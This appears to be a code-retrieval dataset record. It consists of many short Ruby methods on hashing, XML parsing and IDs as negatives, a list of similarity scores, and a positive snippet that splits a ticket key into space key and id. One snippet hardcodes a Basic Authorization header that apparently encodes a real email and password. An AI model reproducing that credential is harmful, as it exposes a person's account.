"def hexdigest\n DigestUtils.pack_hexdigest(digest)\n end",
"def getStoredHash(name)\n return @xmlStore[name]\n end",
"def touchdowns_hash(stats_xml)\n { number: stats_xml[:number].to_i }.merge(children_first_text_hash(stats_xml))\n end",
"def ticket_number(accounting_element)\n\t \taccounting_element[:document_info][:document][:@number]\n\t end",
"def sha1_fingerprint\n @sha1_fingerprint ||= @node['sha1Fingerprint']\n end",
"def signer_info( xml, sig )\n sig_info = Hash.new\n if ! sig.signature_node.empty?\n sig_info[ :signer_name ] = sig.signer_name\n sig_info[ :signer_issuer_name ] = sig.signer_issuer\n if ! sig.signer_node.empty?\n signer_ns_prefix = namespace_prefix( xml, MStr::Ns_Xmldsig )\n sig_info[ :x509serialnumber ] = sig.signer_node.first.xpath( \"//#{ signer_ns_prefix }:X509SerialNumber\", signer_ns_prefix => MStr::Ns_Xmldsig ).first.text.to_i\n sig_info[ :cert_serial ] = sig.crypto.context.first.serial.to_i unless sig.crypto.context.empty?\n end\n end\n return sig_info\nend",
"def signer_info( xml, sig )\n sig_info = Hash.new\n if ! sig.signature_node.empty?\n sig_info[ :signer_name ] = sig.signer_name\n sig_info[ :signer_issuer_name ] = sig.signer_issuer\n if ! sig.signer_node.empty?\n signer_ns_prefix = namespace_prefix( xml, MStr::Ns_Xmldsig )\n sig_info[ :x509serialnumber ] = sig.signer_node.first.xpath( \"//#{ signer_ns_prefix }:X509SerialNumber\", signer_ns_prefix => MStr::Ns_Xmldsig ).first.text.to_i\n sig_info[ :cert_serial ] = sig.crypto.context.first.serial.to_i unless sig.crypto.context.empty?\n end\n end\n return sig_info\nend",
"def parse_entry_info(xml_element)\n \n revision = xml_element.attributes['revision']\n author = xml_element.elements['author'].text\n date = DateTime.parse(xml_element.elements['date'].text)\n message = xml_element.elements['msg'].text\n \n paths = xml_element.elements.collect('paths/path') do |e|\n {\n :action => e.attributes['action'],\n :path => e.text\n }\n end\n \n return {\n :revision => revision,\n :author => author,\n :message => message,\n :date => date,\n :paths => paths\n }\n end",
"def hash\n -element.hash\n end",
"def root_hash\n self[1]\n end",
"def guid\n query_root_node(\"guid/text()\")\n end",
"def hash_xml(xml, params)\n params.each do |key, value|\n xml = xml_key_value(key, value, xml)\n end\n xml\n end",
"def sanitize_hash(hash)\n return {} if hash.nil? \n Hash.from_xml(hash.to_xml)['hash']\n end",
"def node_hash(node_id)\n \n end",
"def cert_hash(cert)\n java_bytes = cert_to_java_bytes(cert)\n return nil unless java_bytes\n\n hash = CryptoUtils::calculateCertHexHash(java_bytes)\n hash.upcase.scan(/.{1,2}/).join(':')\n end",
"def get_id_value(artifact)\n if artifact[@external_id_field].nil?\n return \"waiting XML\"\n else\n return artifact[@external_id_field]\n end\n #return \"waiting XML\"\n end",
"def sha\n id.sha\n end",
"def hexdigest!()\n #This is a stub, used for indexing\n end",
"def digest_hash(_realm, username)\n @sequel.fetch(\"SELECT digesta1 FROM #{@table_name} WHERE username=?\", username) do |row|\n return row[:digesta1]\n end\n nil\n end",
"def fumbles_hash(stats_xml)\n {\n number: stats_xml[:number].to_i,\n lost: stats_xml[:lost].to_i\n }\n end",
"def calculate_payload_hash\n\t\treturn Digest::SHA2.hexdigest( self.payload )\n\tend",
"def getHashForNameAtPos(xml, nodeName, index)\n if(xml == nil)\n return\n end\n #puts \"XML: #{xml}\"\n if( xml != nil && xml[\"nodeName\"] == nodeName )\n\n if(@getHashForNameAtPosCount == index)\n return xml\n end\n @getHashForNameAtPosCount = @getHashForNameAtPosCount.next\n end\n attribs = nil\n \tif(xml[\"nodeAttributes\"] != nil)\n \t attribs = xml[\"nodeAttributes\"]\n \telse\n \t\t attribs = Hash.new\n \tend\n size = xml[\"childCount\"].to_i\n for j in 0..size\n\n values = xml[j]\n if(values != nil && values[\"nodeName\"] == nodeName)\n if(@getHashForNameAtPosCount == index)\n return values\n end\n @getHashForNameAtPosCount = @getHashForNameAtPosCount.next\n elsif(values != nil)\n countVals = values[\"childCount\"].to_i\n for k in 0..countVals\n value = getHashForNameAtPos(values[k], nodeName, index)\n if(value != nil)\n return value\n end\n end\n end\n end\n return nil\n end",
"def passive\t\n\thash=Digest::MD5.hexdigest(@tagpattern)\n\t[{:name=>\"tag pattern hash\",:string=>hash}]\nend",
"def hash\r\n id.hash\r\n end",
"def hexdigest\n self.class.hexdigest_for(path)\n end",
"def hexhash\n hash.to_s(16)\n end",
"def hash\n id.hash + 32 * bs_request.hash\n end",
"def attach_ticket(request_builder)\n if @ticket.nil?\n @ticket = Nokogiri::XML::Node.new('Ticket', request_builder.doc)\n end\n\n node = request_builder.doc.xpath('//FbiXml/*').first\n node.add_previous_sibling(@ticket)\n\n request_builder\n end",
"def root_hash\n self.node_hash root_node_id\n end",
"def pack_hexdigest(bin)\n bin.unpack('H*'.freeze).first\n end",
"def pack_hexdigest(bin)\n bin.unpack('H*'.freeze).first\n end",
"def subscriber_hash(email)\n Digest::MD5.hexdigest(email.downcase) unless email.nil?\n end",
"def calculate_hash!\n prefix = PREFIX_NAME_LOOKUP[self.type]\n # add special cases for refs\n self.hash_id = NodeId.sha1(\"#{prefix} #{self.size}\\0#{self.content}\")\n end",
"def [](node)\n return @hash[node.sha1]\n end",
"def element_hash\n # Construct string with basic element attributes\n string = \"#{@number}\\n#{@symbol}\\n#{@name}\\n#{rounded_weight}\\n\"\n { string: string, xpos: @xpos, ypos: @ypos }\n end",
"def getXMLTicket(path)\n resp2 = @@conn.get do |req|\n req.url path\n req.headers['Authorization'] = 'Basic aHIuc2VsbGVydEBnbWFpbC5jb206c2VzMTEy' #@TODO make this a param\n req.headers['Content-Type'] = 'application/xml'\n end\n # puts \"Responce : \" + resp2['body'].inspect\n # puts \"Responce2 : \" + resp2.body.to_s()\n \n return resp2.body.to_s()\n end",
"def get_hash_tags\n self.text.gsub(/#(([a-z_\\-]+[0-9_\\-]*[a-z0-9_\\-]+)|([0-9_\\-]+[a-z_\\-]+[a-z0-9_\\-]+))/).to_a\n #self.text.gsub(/#(\\w+)/).to_a\n end",
"def entry2hash(entry)\n hash = Hash.new('')\n entry.each_line do |line|\n tag = tag_get(line)\n next if tag == 'XX'\n tag = 'R' if tag =~ /^R./\t# Reference lines\n hash[tag] += line\n end\n return hash\n end",
"def hex\n @id.unpack('H*').first\n end",
"def hashed_input\n\t\tmd5_hex = Digest::MD5.hexdigest(@term)\n\t\tmd5_hex.scan(/../).map { |s| s.to_i(16) }\n\tend",
"def spki_sha1_hash(cert)\n spki = OpenSSL::ASN1.decode(cert).value[0].find { |e|\n e.tag == 16 && e.value[0].tag == 16\n }\n return unless spki\n [\"sha1\", [OpenSSL::Digest::SHA1.digest(spki.to_der)].pack('m*').chomp].join(\"/\")\n end",
"def id\n Akero.fingerprint_from_cert(@cert)\n end",
"def hash\n guid.hash\n end",
"def hash_from_xml( element )\n result = {}\n \n element.each do |node|\n unless excluded?( node.name )\n \n result[ node.name ] = [] if unbounded?( node.name ) && result[ node.name ].nil?\n\n if node.children.children.any?\n if result[ node.name ].is_a?( Array )\n result[ node.name ] << hash_from_xml( node.children )\n else\n result[ node.name ] = hash_from_xml( node.children )\n end\n else\n if result[ node.name ].is_a?( Array )\n result[ node.name ] << node.content\n else\n result[ node.name ] = node.content\n end\n end\n\n end\n end\n \n result\n end",
"def hash(tx)\n Digest::SHA256.hexdigest(Digest::SHA256.hexdigest(tx))\nend",
"def hash_id\n @hid\n end",
"def hash\n @id.hash\n end",
"def metadata\n Hash.from_xml(self[:metadata])['hash']\n end",
"def parse_xml(xml)\n hash = XmlSimple.xml_in(xml)\n hash['query']#return just the results of the query\nend",
"def hash\n return @id.hash\n end",
"def xml_to_temphex(xml_node, cur_ilv_size)\n\n #Cmd str in hex\n cmd_hexstr = \"\"\n\n attr_str_len = nil\n data_type = nil\n\n #Check if tag contains attributes\n if xml_node.has_attributes?\n\n #Get element attribute \"size\"\n attr_str_len = xml_node.attributes.get_attribute(SIZE_ATTR).value if xml_node.attributes.get_attribute(SIZE_ATTR)\n attr_str_len = attr_str_len.to_i if attr_str_len\n\n #Get element attribute \"data type\"\n data_type = xml_node.attributes.get_attribute(TYPE_ATTR).value if xml_node.attributes.get_attribute(TYPE_ATTR)\n\n #Get auto attribute\n is_auto = xml_node.attributes.get_attribute(AUTO_ATTR).value if xml_node.attributes.get_attribute(AUTO_ATTR)\n\n end\n\n #Get tag name\n tag_name = xml_node.name\n $test_logger.log(\"XML to temphex #{tag_name}\")\n\n #If specified node has child nodes\n if xml_node.has_elements?\n\n #Initialize current ivl size to zero\n cur_ilv_size_temp = 0\n\n #Iterate each child element in current node\n xml_node.elements.each do | node |\n\n #Recursive call to this function\n cur_hexstr, cur_node_size = xml_to_temphex(node, cur_ilv_size)\n\n #Append child node hex str to main hex str\n cmd_hexstr << cur_hexstr\n\n #Add size for all child notes\n cur_ilv_size_temp += cur_node_size\n end\n\n #If exit from value tag\n if tag_name == VALUE_TAG\n\n #If previous tag is not length tag then create it\n if xml_node.previous_element.name != LEN_TAG\n node_to_add = Element.new(LEN_TAG)\n\n #Add attribute to notify user about length tag is inserted by framework\n node_to_add.add_attribute(AUTO_ATTR, \"true\")\n\n @xml_ilv_node.insert_after(xml_node.previous_element.xpath, node_to_add)\n end\n\n #If length tag is nil update the calculated value\n if !xml_node.previous_element.has_text?\n xml_node.previous_element.text = cur_ilv_size_temp\n\n #If length is more than 65535 (0xFFFF)\n #then size of length tag would be 6 bytes\n # 2 bytes = 0xFFFF\n # 4 bytes = big length\n if cur_ilv_size_temp >= 0xFFFF\n len_tag_size = 6\n len_hex_str = \"FFFF\" + hex_to_str(cur_ilv_size_temp, 4)\n else\n len_tag_size = 2\n len_hex_str = hex_to_str(cur_ilv_size_temp, len_tag_size)\n end\n\n #Add length hex str to main hex string\n cmd_hexstr = len_hex_str + cmd_hexstr\n\n #Update current ilv size with length tag size\n cur_ilv_size_temp += len_tag_size\n\n #Update correct size for length into XML attribute\n xml_node.previous_element.add_attribute(SIZE_ATTR, len_tag_size)\n\n elsif xml_node.previous_element.text.to_i != cur_ilv_size_temp\n raise \"Specified length as '#{xml_node.previous_element.text}' mismatch with calculated length as '#{cur_ilv_size_temp}'\\n\\tfor path '#{xml_node.previous_element.xpath}'\"\n end\n end\n\n #Return calculated ilv size\n attr_str_len = cur_ilv_size_temp\n\n else\n\n #If size attribute is nil\n if attr_str_len == nil\n to_update_size = true\n\n #If tag is length tag then define size as 2\n #TBD for size greater than 65535\n if tag_name == LEN_TAG\n attr_str_len = 2\n\n #If tag is Id then length should be 1\n elsif tag_name == ID_TAG\n attr_str_len = 1\n end\n else\n to_update_size = false\n end\n\n #If current tag is len and is auto then make it nil\n if (tag_name == LEN_TAG) && (is_auto == \"true\")\n xml_node.text = nil\n end\n\n #Fetch value of tag\n txt = xml_node.get_text\n\n #Process tag text if its not nil\n if txt != nil\n #Format tag value based on size and data type\n cur_hex_str, attr_str_len = format_tag_value(txt.to_s, attr_str_len, data_type)\n\n #If size is to be updated then add attribute\n xml_node.add_attribute(SIZE_ATTR, attr_str_len) if to_update_size\n\n #Append processed string to hex command\n cmd_hexstr << cur_hex_str.to_s\n else\n attr_str_len = 0\n end\n end\n\n #Return hex string and size\n return cmd_hexstr, attr_str_len\n end",
"def hash\n @elements.hash\n end",
"def hash\n @elements.hash\n end",
"def saml_provider_cert_fingerprint\n @attributes[:saml_provider_cert_fingerprint]\n end",
"def digest\n digest = ''\n @elements.each { |element| digest << element.digest << ' '}\n digest\n end",
"def hash\n id.hash\n end",
"def readXmlIntoString(hashed_data3, path, dataFolder)\r\n str = File.open(path+\"\\\\#{dataFolder}\\\\users.xml\") #{ |f| Nokogiri::XML(f) }\r\n doc = Nokogiri.XML(str)\r\n doc.xpath('//user').each do |zone|\r\n hashed_data3 << { \"userid\" => zone.xpath('userid').text, \"firstname\" => zone.xpath('firstname').text, \"lastname\" => zone.xpath(\"surname\").text, \"username\" => zone.xpath(\"username\").text, \"type\" => zone.xpath(\"type\").text, \"lastlogin_time\" => zone.xpath(\"lastlogintime\").text}\r\n end\r\n return hashed_data3\r\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end"
] |
[
"0.5922472",
"0.58482444",
"0.5809524",
"0.57388896",
"0.56058156",
"0.556271",
"0.55327725",
"0.5470769",
"0.5463087",
"0.54590654",
"0.54402834",
"0.5395999",
"0.53182447",
"0.52731335",
"0.52523834",
"0.5250259",
"0.5247216",
"0.52017915",
"0.5194405",
"0.5184408",
"0.5171855",
"0.51644766",
"0.5163188",
"0.5158794",
"0.5143027",
"0.5140196",
"0.51398134",
"0.51282805",
"0.5080299",
"0.5054588",
"0.5052236",
"0.5047354",
"0.50310725",
"0.5029379",
"0.5016822",
"0.50013065",
"0.500056",
"0.4997588",
"0.49942672",
"0.49741802",
"0.49657255",
"0.49657255",
"0.49633908",
"0.4947654",
"0.49401054",
"0.4938606",
"0.49170092",
"0.49006987",
"0.4881343",
"0.4874491",
"0.48650163",
"0.4855958",
"0.48552006",
"0.48425177",
"0.48419765",
"0.4840141",
"0.48381007",
"0.48286465",
"0.48252872",
"0.48154414",
"0.48117965",
"0.47954762",
"0.47851452",
"0.47798216",
"0.47749445",
"0.47749445",
"0.47535586",
"0.4753363",
"0.47503197",
"0.47482195",
"0.47455978",
"0.47415438",
"0.47409225",
"0.47339413",
"0.47335172",
"0.47228682",
"0.47176033",
"0.47171968",
"0.47146368",
"0.471253",
"0.47108743",
"0.47090486",
"0.4705129",
"0.47041628",
"0.46933365",
"0.46896142",
"0.4683953",
"0.4683953",
"0.46788952",
"0.4677312",
"0.46748444",
"0.46745446",
"0.46741214",
"0.46741214",
"0.46741214",
"0.46741214",
"0.46741214",
"0.46741214",
"0.46741214",
"0.46741214"
] |
0.619712
|
0
|
extract the spacekey and id from the ticket id
|
def split_spacekey_and_id(key)
spacekey = key.scan(/^([A-Z]+)/).to_s
id = key.scan(/([0-9]+)$/)[0].to_s.to_i
return id, spacekey
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def getDetails id\n\t\tticket = @tickets.read ['id', 'pid', 'title', 'description', 'tracker', 'creator', 'created', 'status'], ['id', id]\n\t\tticket = ticket[0]\n\tend",
"def parse_ticket_info(xml_element)\n id = xml_element.elements['key'].text rescue \"\"\n id, spacekey = split_spacekey_and_id(id) rescue \"\"\n\n link = xml_element.elements['link'].text rescue \"\"\n title = xml_element.elements['title'].text rescue \"\"\n reporter = xml_element.elements['reporter'].text rescue \"\"\n assignee = xml_element.elements['assignee'].text rescue \"\"\n type = xml_element.elements['type'].text rescue \"\"\n priority = xml_element.elements['priority'].text rescue \"\"\n updated = xml_element.elements['updated'].text rescue \"\"\n status = xml_element.elements['status'].text rescue \"\"\n\n return {\n :spacekey => spacekey,\n :id => id,\n :link => link,\n :title => title,\n :reporter => reporter,\n :assignee => assignee,\n :type => type,\n :priority => priority,\n :updated => updated,\n :status => status\n }\n end",
"def retrieve_ticket\n resp = HTTParty.get('https://localhost/identity/restv1/api/v1/groups')\n\n resp.headers['www-authenticate']\n .split(', ')\n .find { |e| e =~ %r{^ticket} }\n .split('=')[1]\n end",
"def key_id; end",
"def get_ticket_details( session_key, ticket_id)\n response_xml = self.call( :get_ticket_details, message: {\n api_key: session_key,\n ticket: ticket_id\n })\n response = IssueCentre::Response.parse( response_xml)\n end",
"def key\n @key.id2name\n end",
"def splitEntryID(id)\n return id.to_s.split(/-|_/).map{|x| x.to_i}.delete_if{|i| i==0}\n end",
"def key_id=(_arg0); end",
"def extract_id(object)\n extract_string object, :id\n end",
"def extract_id\n selector[:_id]\n end",
"def get_key_from_result(res)\n res.fetch('id', {}).fetch('S', nil)\n end",
"def extract_key(ctx); end",
"def get_ticket(ticket_id:)\n ZendeskAPI::Ticket.find(client, id: ticket_id)\n end",
"def extract_ticket_ids\n tickets = message.split('Ref: ').last\n tickets.gsub('#', '').split(',').map(&:strip)\n end",
"def space_id\n fil_header[:space_id]\n end",
"def getKeyspaceName\n if id =~ /[^0-9,a-z,A-Z$-]+/\n raise 'Only ids matching [0-9,a-z,A-Z$-]+ are allowed'\n end\n\n keyspace = id[:id].gsub('-', '_')\n\n \"#{Keyspace_PREFIX}#{keyspace}\"\n end",
"def id\n @hash[\"id\"]\n end",
"def druid\n id.split(/:/).last\n end",
"def click_key_offer_part\n id\n end",
"def ticket_number(text_element)\n \ttemp = text_element.split(\"/\")\n \ttemp2 = temp[0].split(\"-\")\n \ttemp2[1]\n end",
"def extract_id(args)\n args.each { |arg| return arg.fetch('id') if arg.is_a? Hash }\n nil\n end",
"def get_id(id)\n native_id = Integer(id.split(\":\")[-1])\n end",
"def sub_id() @tag.sub( /.*_/, '' ) end",
"def sub_id() @tag.sub( /.*_/, '' ) end",
"def key_id\n metadata[\"keyid\"]\n end",
"def extract_product_id(order_line_product_id)\n api.lookup_product(order_line_product_id)['number']\n end",
"def return_character_id(result_hash)\n result_hash[:id]\n end",
"def entity_id\n match(/Entity\\sID\\s+:\\s+([A-F0-9]+)$/)\n end",
"def test_extractid\n actual = ZenDeskAPI.extractid('http://rateitindia.zendesk.com/tickets/24.xml')\n assert_equal('24.xml', actual)\n end",
"def hex_trace_id\n trace_id.unpack1('H*')\n end",
"def key_id\n return @key_id\n end",
"def key_id\n return @key_id\n end",
"def key_id\n return @key_id\n end",
"def id\n @hash['id']\n end",
"def header_id\n @pairs.fetch(\"id\") { header_value.downcase.gsub(/[^\\w]|_/, \"-\") }\n end",
"def git_id(id)\n\t\t\tid[0...8]\n\t\tend",
"def msg_id(key)\n key =~ /^(msgid:[^:]*:[-0-9a-f]*):.*$/ && $1\n end",
"def id\n key\n end",
"def actual_id\n args = params[:id].split('-')\n args[0]\n end",
"def key_id(comment)\n \"OPENSHIFT-#{@container.uuid}-#{comment}\"\n end",
"def GetField id\n\n APICall(path: \"ticket_fields/#{id}.json\")\n\n end",
"def id\n token\n end",
"def cache_testcase_oid(header, row) #{\n testcase_fid = row[header[0]].strip # Rally FormattedID\n testcase_oid = row[header[1]].strip # Rally ObjectID\n testcase_id = row[header[2]].strip # Caliber \"id=\"\n testcase_tag = row[header[3]].strip # Caliber \"tag=\"\n testcase_name = row[header[4]].strip # Caliber Req Name\n\n @testcase_TagFidOidName_by_reqid[testcase_id] = [testcase_tag, testcase_fid.to_s, testcase_oid.to_s, testcase_name]\n\nend",
"def get_id str\n\t\treturn str if is_id? str\n\t\tif is_metadata? str\n\t\t\tif str.include? SEP\n\t\t\t\t# Origin~[meta]\n\t\t\t\torigin, str = str.split(SEP) \n\t\t\tend\n\t\t\t# Split to get address, and rebuild\n\t\t\tkeys = keysplit(str)\n\t\t\treturn build_id origin, keys[\"address\"]\n\n\t\telsif is_metric_id? str\n\t\t\treturn build_id @origin_id, str\n\t\tend\n\tend",
"def cache_story_oid(header, row) #{\n story_fid = row[header[0]].strip # Rally FormattedID\n story_oid = row[header[1]].strip # Rally ObjectID\n req_id = row[header[2]].strip # Caliber \"id=\"\n req_tag = row[header[3]].strip # Caliber \"tag=\"\n req_name = row[header[4]].strip # Caliber Req Name\n\n if !req_id.eql? nil then\n @story_oid_by_reqid[req_id] = story_oid.to_s\n end\n\n if !req_name.eql? nil then\n @req_name_by_reqid[req_id] = req_name\n end\n\n @story_TagFidOidName_by_reqid[req_id] = [req_tag, story_fid.to_s, story_oid.to_s, req_name]\n\nend",
"def auth_id\n params['TxAuthNo']\n end",
"def get_xtid(xtid, id)\n self.class.headers 'X-tid' => xtid\n self.class.get(\"/aldebaran-recdocs/recdocs/#{id}\", :basic_auth => @auth)\n end",
"def extract_id(str)\n str.to_s.scan(/\\d+/)\n end",
"def id\n name.gsub(':', '-')\n end",
"def extract_id(tag)\n tag =~ /id=\"([^\"]+)\"/\n $1\n end",
"def getBoardId(id,jira_entities,jira_active)\n @doctemp = Nokogiri::XML(only_valid_chars(jira_entities))\n @activeObjectstemp=Nokogiri::XML(File.open(jira_active))\n @activeObjectstemp.remove_namespaces!\n # puts id.to_s\n searchrequestid= @doctemp.xpath(\"//SharePermissions[@param1='\" + id.to_s + \"']/@entityId\")[0]\n # puts searchrequestid\n \n sprintboardname= @doctemp.xpath(\"//SearchRequest [@id='\"+searchrequestid+\"']/@name\")[0].to_s.gsub(\"Filter for \",\"\")\n # sometimes there are more than one board that appears, if so remove 3rd word or number e.g. TJI board 2 = 'TJI board'\n sprintboardArray=sprintboardname.split(\" \")\n if sprintboardArray.size>2\n sprintboardname=sprintboardArray[0]+\" \"+sprintboardArray[1]\n end\n # puts sprintboardname\n if sprintboardname.include? \"GROUN\"\n sprintboardname[\"GROUN\"]=\"GYMC\" \n end\n # puts sprintboardname\n #this is hardcoded may need to be changed if it changes for each jira database\n sprintobject = @activeObjectstemp.xpath(\"//data[@tableName='AO_60DB71_RAPIDVIEW']/row[string='\"+sprintboardname+\"']\")\n \n sprintobject=removeInteger(sprintobject[0].search('integer')[0])\n return sprintobject.to_s\nend",
"def id_from_hash\n return @id_from_hash if defined?(@id_from_hash)\n @id_from_hash = __getobj__[:id] || __getobj__[\"id\"]\n end",
"def key\n id\n end",
"def get_hol_journal_id details_hash\n extract details_hash, [\"orig_desc\", \"journal_id\"]\n end",
"def record_key_for_dom_id(record); end",
"def get_spreadsheet_key\n #@chave_planilha = @doc[\"entry\"][0][\"id\"][0][/full\\/(.*)/, 1] usa a planilha Torneio Tênis de mesa do usuário tadeu.gaudio\n #@chave = @doc[\"entry\"][1][\"id\"][0][/full\\/(.*)/, 1]\tusa a planilha iPongWinners do usuário tadeu.gaudio\n @chave = \"tjS8wC9jSAR03-0pkf8cIhg\" #planilha de tenis de mesa\n end",
"def id_from_hash(h)\n return nil if h.blank?\n # new format\n return h.to_i if h =~ /^[0-9]*$/\n # old format\n (uid, *code) = Base64.decode64(h).split(DIVIDER)\n code = code.join(DIVIDER)\n code == encode(uid) ? uid.to_i : nil\n end",
"def c_vote_id(hash)\n sess_uri = \"http://polldaddy.com/n/#{hash}/#{self.poll_id}?#{Time.now.to_i}\"\n raw_id = self.http_get(sess_uri)\n raw_id[/'(.+?)'/,1]\n end",
"def TGET_ID(id)\r\n ((id & TID_MSK) >> TID_POS) & 0xFF\r\n end",
"def quoted_id\n id\n end",
"def hex\n @id.unpack('H*').first\n end",
"def get_game_id(str)\n \t# parse str to get GAME\n title = str.split(\"-\")[0]\n # find id of GAME\n game = Game.select(\"id\").where(\"key LIKE \\'#{title.upcase}\\'\").to_a[0]\n self.game_id = game.id\n end",
"def facture_id\n @facture_id ||= data[:id][0..31]\n end",
"def GetTicket id\n\n APICall(path: \"tickets/#{id}.json\")\n\n end",
"def header_to_id(given)\n return '' unless given.is_a?(String)\n return '' unless given.match(/\\A[a-z\\d]{16,32}\\z/i)\n given\n end",
"def parse_id(id)\n id.split('/')\n end",
"def key_details(key_id)\n HTTParty.get(\"#{$base_url}/partners/#{$partner_id}/keys/#{key_id}\", {headers: $headers}).parsed_response\nend",
"def id_lookup(id)\n id = id.to_i\n if (id >= 128) && (id <= 255)\n id = \"oem_data_#{id}\"\n elsif DMI::ID_TO_DESCRIPTION.key?(id)\n id = DMI::ID_TO_DESCRIPTION[id]\n else\n Ohai::Log.debug(\"unrecognized header id; falling back to 'unknown'\")\n id = \"unknown_dmi_id_#{id}\"\n end\n rescue\n Ohai::Log.debug(\"failed to look up id #{id}, returning unchanged\")\n id\n end",
"def extract_key(ctx)\n parts = []\n # fetching from cred provider directly gives warnings\n parts << ctx.config.credentials.credentials.access_key_id\n if _endpoint_operation_identifier(ctx)\n parts << ctx.operation_name\n ctx.operation.input.shape.members.inject(parts) do |p, (name, ref)|\n p << ctx.params[name] if ref['endpointdiscoveryid']\n p\n end\n end\n parts.join('_')\n end",
"def get_id \n part_number = PartNumber.get_part_number(self)\n part_number.id if part_number\n end",
"def extract_id(object)\n case object\n when ::Integer\n object\n when ::String\n object.split('/').last.to_i\n when URI, Addressable::URI\n object.path.split('/').last.to_i\n when Teamsupport::Identity\n object.ID\n end\n end",
"def extract_id(cell)\n return nil if cell.nil?\n input = cell.css('input[@name=\"VOLFDNR\"]').first\n return nil if input.nil?\n volfdnr = input[\"value\"]\nend",
"def card_identification\n message.fields[6].strip\n end",
"def show_ticket_details(ticket_id)\n url = \"https://alanli1.zendesk.com/api/v2/tickets/#{ticket_id}.json\"\n\n res = ApiHelper.make_req_to_api(url)\n @ticket = find_ticket_details(res)\n @ticket.requester_name = get_user_name(@ticket.requester_id)\n return @ticket\n end",
"def ticket_number(accounting_element)\n\t \taccounting_element[:document_info][:document][:@number]\n\t end",
"def extract_key(element)\n if element.is_a?(Item)\n # Use the Item's index instead of tag:\n cdbkey = element.index\n else\n # Read tag as CouchDB Key:\n cdbkey = element.tag\n # Remove the comma from the tag string:\n cdbkey = cdbkey.gsub(\",\",\"\")\n # Prepend a 't' for easier javascript map/reduce functions:\n cdbkey = \"t\" + cdbkey\n end\n return cdbkey\nend",
"def id_from_key(key)\n @key_to_id[key]\n end",
"def partner_id\n general_info_hash['ID:']\n end",
"def api_key_id\n @attributes[:api_key_id]\n end",
"def header_for_id(id)\n raise 'Id must be 4 bytes' unless id.gsub(' ', '').length == 4*2\n # header is really \"B1 96 B1 D3 ED AE 5F 92 #{id}\"\n # however we're chopping off one byte to fit within 12 bytes in the search code.\n\n # the byte after item id changes. maybe 06 or 02 depending on the item.\n \"B1 96 B1 D3 ED AE 5F 92 #{id}\".gsub(' ', '')\n end",
"def get_topic_id_from_topicdetail\n #if topicdetail_id #!= nil\n timetable_id = 1 #topicdetail_id#Topicdetail.find(topicdetail_id).topic_code\n #end\n end",
"def unique_key\n [@msgid, @msgctxt]\n end",
"def id_to_hash(id)\n return \"\" unless id\n Base64.encode64(id.to_s + DIVIDER + encode(id)).chomp\n end",
"def id_to_header(id)\n return '' unless id.is_a?(String)\n # Only send 64bit IDs downstream for now\n id.length == 32 ? id[16..-1] : id\n end",
"def test_id(test_key)\n request = ServiceHelper.new base_url: @jira_url, path: \"rest/api/3/issue\"\n request.auth 'basic', @jira_user, @jira_token\n request.headers.add 'Accept', 'application/json'\n request.append_to_route test_key\n response = request.get\n raise Exception, response.body unless response.ok?\n\n response.parsed_body['id']\n end",
"def char_to_id(ch); end",
"def id\n @entry.at_xpath('cda:act/cda:id/@root').value\n end",
"def id\n Akero.fingerprint_from_cert(@cert)\n end",
"def fedora_id_to_numeric_id fedora_id\n /.*:([0-9]+)/.match(fedora_id)[1].to_i\n end",
"def get_case_id\n end",
"def str2id(s)\n s.id.delete('/hostedzone/')\nend",
"def get_kit_cache_key(id)\n fail 'sub class to implement'\n end",
"def id\n key = self.key\n key.first if key.size == 1\n end",
"def ticket\n @ticket ||= @api.get_ticket['ticket']\n end",
"def order_id\n hash[\"OrderId\"]\n end",
"def api_key\n api_key_div.text.gsub(/API Key:/,'').gsub(/\\(create\\)/,'').gsub(/\\(delete\\)/,'').strip\n end",
"def hash\n @id\n end",
"def cache_key(id); end",
"def get_kit_id(op)\n op.inputs[0].retrieve\n op.inputs[0].item&.get(KIT_KEY) || op.input(KIT_PARAMETER)&.value\n end",
"def get_id(test_case)\n # ap test_case.methods - Object.methods\n tagged_id = test_case.tags.detect{|tag| tag.name =~/testcase/}\n if tagged_id\n result = /testcase_(\\d+)/.match(tagged_id.name)[1]\n else\n tags = test_case.tags\n project_id = /\\d+/.match(tags.select{|tag| tag.name =~/project/}.last.name)[0] \n suite_id = /\\d+/.match(tags.select{|tag| tag.name =~/suite/}.last.name)[0] \n section_id = /\\d+/.match(tags.select{|tag| tag.name =~/sub_section/}.last.name)[0]\n title = extract_title(test_case)\n found_case = testrail_api_client.send_get(\"get_cases/#{project_id}&suite_id=#{suite_id}§ion_id=#{section_id}\").select{|c| c['title'] == title}.first\n if found_case\n result= found_case['id']\n else\n result = create_new_case(project_id,suite_id,section_id,test_case)['id']\n end\n end\n return result\n end"
] |
[
"0.61230016",
"0.60488576",
"0.5990504",
"0.59409875",
"0.5786135",
"0.57694894",
"0.57614124",
"0.57599014",
"0.57484484",
"0.567149",
"0.5654165",
"0.5646187",
"0.56349105",
"0.5570488",
"0.55477464",
"0.552996",
"0.5519182",
"0.55168974",
"0.5502929",
"0.5499951",
"0.5496021",
"0.5479053",
"0.5469032",
"0.5469032",
"0.5458653",
"0.54543716",
"0.54511636",
"0.54500306",
"0.5447524",
"0.5444677",
"0.54301274",
"0.54301274",
"0.54301274",
"0.54231966",
"0.54209626",
"0.54167044",
"0.5415145",
"0.5409823",
"0.5408209",
"0.5405694",
"0.53997636",
"0.5380204",
"0.5360206",
"0.5347552",
"0.53353095",
"0.5331407",
"0.53237534",
"0.5310873",
"0.5307267",
"0.53049034",
"0.53002125",
"0.5299859",
"0.52751863",
"0.5265341",
"0.5258478",
"0.52545816",
"0.52531177",
"0.5215061",
"0.52076674",
"0.5205455",
"0.5204844",
"0.52031267",
"0.51977026",
"0.51954967",
"0.5187741",
"0.5183498",
"0.5183273",
"0.51832175",
"0.517688",
"0.51763713",
"0.5176014",
"0.5170391",
"0.5169779",
"0.51693684",
"0.5155065",
"0.5146499",
"0.5145741",
"0.514007",
"0.51396066",
"0.51333916",
"0.51231056",
"0.51172984",
"0.5107776",
"0.5107467",
"0.50964826",
"0.50829136",
"0.5076368",
"0.5073837",
"0.507024",
"0.5068897",
"0.506689",
"0.50654423",
"0.5062241",
"0.50601757",
"0.50548655",
"0.5046598",
"0.50459605",
"0.5040877",
"0.50397986",
"0.50381327"
] |
0.68602353
|
0
|
has this ticket been seen before this run?
|
